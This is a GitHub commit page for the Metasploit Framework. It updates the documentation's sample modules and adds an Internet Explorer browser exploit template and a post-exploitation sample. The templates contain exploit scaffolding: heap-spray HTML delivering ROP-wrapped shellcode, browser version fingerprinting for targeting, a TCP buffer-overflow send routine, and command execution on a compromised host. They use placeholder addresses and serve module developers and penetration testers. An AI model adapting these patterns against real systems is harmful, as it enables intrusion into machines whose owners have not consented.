Skip to content

Commit 0acdc32

Browse files
wvuwvu
committed
Land rapid7#2084, samples and templates update
2 parents 2f72549 + 6871ff0 commit 0acdc32

File tree

8 files changed

+340
-21
lines changed

8 files changed

+340
-21
lines changed

‎documentation/samples/modules/auxiliary/sample.rb

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -15,19 +15,18 @@
1515
###
1616
class Metasploit4 < Msf::Auxiliary
1717

18-
def initialize
19-
super(
18+
def initialize(info={})
19+
super(update_info(info,
2020
'Name' => 'Sample Auxiliary Module',
21-
'Version' => '$Revision: 4419 $',
2221
'Description' => 'Sample Auxiliary Module',
23-
'Author' => 'hdm',
22+
'Author' => ['hdm'],
2423
'License' => MSF_LICENSE,
2524
'Actions' =>
2625
[
2726
['Default Action'],
2827
['Another Action']
2928
]
30-
)
29+
))
3130

3231
end
3332

‎documentation/samples/modules/encoders/sample.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,12 +15,12 @@ class Metasploit4 < Msf::Encoder
1515

1616
def initialize
1717
super(
18-
'Name' => 'Sample encoder',
19-
'Version' => '$Revision$',
18+
'Name' => 'Sample Encoder',
2019
'Description' => %q{
2120
Sample encoder that just returns the block it's passed
2221
when encoding occurs.
2322
},
23+
'License' => MSF_LICENSE,
2424
'Author' => 'skape',
2525
'Arch' => ARCH_ALL)
2626
end

‎documentation/samples/modules/exploits/ie_browser.rb

Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
11+
###
12+
#
13+
# This exploit sample demonstrates how a typical browser exploit is written using commonly
14+
# used components such as: HttpServer, BrowserAutopwn, RopDB, DOM Element Property Spray.
15+
#
16+
###
17+
class Metasploit4 < Msf::Exploit::Remote
18+
Rank = NormalRanking
19+
20+
include Msf::Exploit::Remote::HttpServer::HTML
21+
include Msf::Exploit::RopDb
22+
include Msf::Exploit::Remote::BrowserAutopwn
23+
24+
# Set :classid and :method for ActiveX exploits. For example:
25+
# :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}",
26+
# :method => "SetShapeNodeType",
27+
autopwn_info({
28+
:ua_name => HttpClients::IE,
29+
:ua_minver => "8.0",
30+
:ua_maxver => "10.0",
31+
:javascript => true,
32+
:os_name => OperatingSystems::WINDOWS,
33+
:rank => NormalRanking
34+
})
35+
36+
def initialize(info={})
37+
super(update_info(info,
38+
'Name' => "Module Name",
39+
'Description' => %q{
40+
This template covers IE8/9/10, and uses the user-agent HTTP header to detect
41+
the browser version. Please note IE8 and newer may emulate an older IE version
42+
in compatibility mode, in that case the module won't be able to detect the
43+
browser correctly.
44+
},
45+
'License' => MSF_LICENSE,
46+
'Author' => [ 'sinn3r' ],
47+
'References' =>
48+
[
49+
[ 'URL', 'http://metasploit.com' ]
50+
],
51+
'Platform' => 'win',
52+
'Targets' =>
53+
[
54+
[ 'Automatic', {} ],
55+
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ],
56+
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
57+
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ],
58+
[ 'IE 9 on Windows 7', { 'Rop' => :jre } ],
59+
[ 'IE 10 on Windows 8', { 'Rop' => :jre } ]
60+
],
61+
'Payload' =>
62+
{
63+
'BadChars' => "\x00", # js_property_spray
64+
'StackAdjustment' => -3500
65+
},
66+
'Privileged' => false,
67+
'DisclosureDate' => "Apr 1 2013",
68+
'DefaultTarget' => 0))
69+
end
70+
71+
def get_target(agent)
72+
return target if target.name != 'Automatic'
73+
74+
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
75+
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
76+
77+
ie_name = "IE #{ie}"
78+
79+
case nt
80+
when '5.1'
81+
os_name = 'Windows XP SP3'
82+
when '6.0'
83+
os_name = 'Windows Vista'
84+
when '6.1'
85+
os_name = 'Windows 7'
86+
when '6.2'
87+
os_name = 'Windows 8'
88+
end
89+
90+
targets.each do |t|
91+
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
92+
return t
93+
end
94+
end
95+
96+
nil
97+
end
98+
99+
def get_payload(t)
100+
stack_pivot = "\x41\x42\x43\x44"
101+
code = payload.encoded
102+
103+
case t['Rop']
104+
when :msvcrt
105+
print_status("Using msvcrt ROP")
106+
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
107+
108+
else
109+
print_status("Using JRE ROP")
110+
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
111+
end
112+
113+
rop_payload
114+
end
115+
116+
117+
def get_html(t)
118+
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
119+
html = %Q|
120+
<script>
121+
#{js_property_spray}
122+
123+
var s = unescape("#{js_p}");
124+
sprayHeap({shellcode:s});
125+
</script>
126+
|
127+
128+
html.gsub(/^\t\t/, '')
129+
end
130+
131+
132+
def on_request_uri(cli, request)
133+
agent = request.headers['User-Agent']
134+
print_status("Requesting: #{request.uri}")
135+
136+
target = get_target(agent)
137+
if target.nil?
138+
print_error("Browser not supported, sending 404: #{agent}")
139+
send_not_found(cli)
140+
return
141+
end
142+
143+
print_status("Target selected as: #{target.name}")
144+
html = get_html(target)
145+
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
146+
end
147+
end

‎documentation/samples/modules/exploits/sample.rb

Lines changed: 12 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -22,13 +22,13 @@ class Metasploit4 < Msf::Exploit::Remote
2222

2323
def initialize(info = {})
2424
super(update_info(info,
25-
'Name' => 'Sample exploit',
25+
'Name' => 'Sample Exploit',
2626
'Description' => %q{
2727
This exploit module illustrates how a vulnerability could be exploited
2828
in an TCP server that has a parsing bug.
2929
},
30-
'Author' => 'skape',
31-
'Version' => '$Revision$',
30+
'License' => MSF_LICENSE,
31+
'Author' => ['skape'],
3232
'References' =>
3333
[
3434
],
@@ -41,26 +41,27 @@ def initialize(info = {})
4141
[
4242
# Target 0: Windows All
4343
[
44-
'Windows Universal',
44+
'Windows XP/Vista/7/8',
4545
{
4646
'Platform' => 'win',
4747
'Ret' => 0x41424344
4848
}
4949
],
5050
],
51-
'DefaultTarget' => 0))
51+
'DisclosureDate' => "Apr 1 2013",
52+
'DefaultTarget' => 0))
5253
end
5354

5455
#
5556
# The sample exploit just indicates that the remote host is always
5657
# vulnerable.
5758
#
5859
def check
59-
return Exploit::CheckCode::Vulnerable
60+
Exploit::CheckCode::Vulnerable
6061
end
6162

6263
#
63-
# The exploit method connects to the remote service and sends 1024 A's
64+
# The exploit method connects to the remote service and sends 1024 random bytes
6465
# followed by the fake return address and then the payload.
6566
#
6667
def exploit
@@ -69,13 +70,13 @@ def exploit
6970
print_status("Sending #{payload.encoded.length} byte payload...")
7071

7172
# Build the buffer for transmission
72-
buf = "A" * 1024
73-
buf += [ target.ret ].pack('V')
74-
buf += payload.encoded
73+
buf = rand_text_alpha(1024)
74+
buf << [ target.ret ].pack('V')
75+
buf << payload.encoded
7576

7677
# Send it off
7778
sock.put(buf)
78-
sock.get
79+
sock.get_once
7980

8081
handler
8182
end

‎documentation/samples/modules/nops/sample.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,9 +17,9 @@ class Metasploit4 < Msf::Nop
1717

1818
def initialize
1919
super(
20-
'Name' => 'Sample NOP generator',
21-
'Version' => '$Revision$',
20+
'Name' => 'Sample NOP Generator',
2221
'Description' => 'Sample single-byte NOP generator',
22+
'License' => MSF_LICENSE,
2323
'Author' => 'skape',
2424
'Arch' => ARCH_X86)
2525
end

‎documentation/samples/modules/payloads/singles/sample.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,8 +19,8 @@ module Metasploit4
1919
def initialize(info = {})
2020
super(update_info(info,
2121
'Name' => 'Debugger Trap',
22-
'Version' => '$Revision$',
2322
'Description' => 'Causes a debugger trap exception through int3',
23+
'License' => MSF_LICENSE,
2424
'Author' => 'skape',
2525
'Platform' => 'win',
2626
'Arch' => ARCH_X86,

‎documentation/samples/modules/post/sample.rb

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/post/common'
10+
11+
###
12+
#
13+
# This post module sample shows how we can execute a command on the compromised machine
14+
#
15+
###
16+
class Metasploit4 < Msf::Post
17+
18+
include Msf::Post::Common
19+
20+
def initialize(info={})
21+
super(update_info(info,
22+
'Name' => 'Sample Post Module',
23+
'Description' => %q{Sample Post Module},
24+
'License' => MSF_LICENSE,
25+
'Author' => [ 'sinn3r'],
26+
'Platform' => [ 'win'],
27+
'SessionTypes' => [ "shell", "meterpreter" ]
28+
))
29+
end
30+
31+
#
32+
# This post module runs a ipconfig command and returns the output
33+
#
34+
def run
35+
print_status("Executing ipconfig on remote machine")
36+
o = cmd_exec("ipconfig")
37+
print_line(o)
38+
end
39+
40+
end

0 commit comments

Comments
 (0)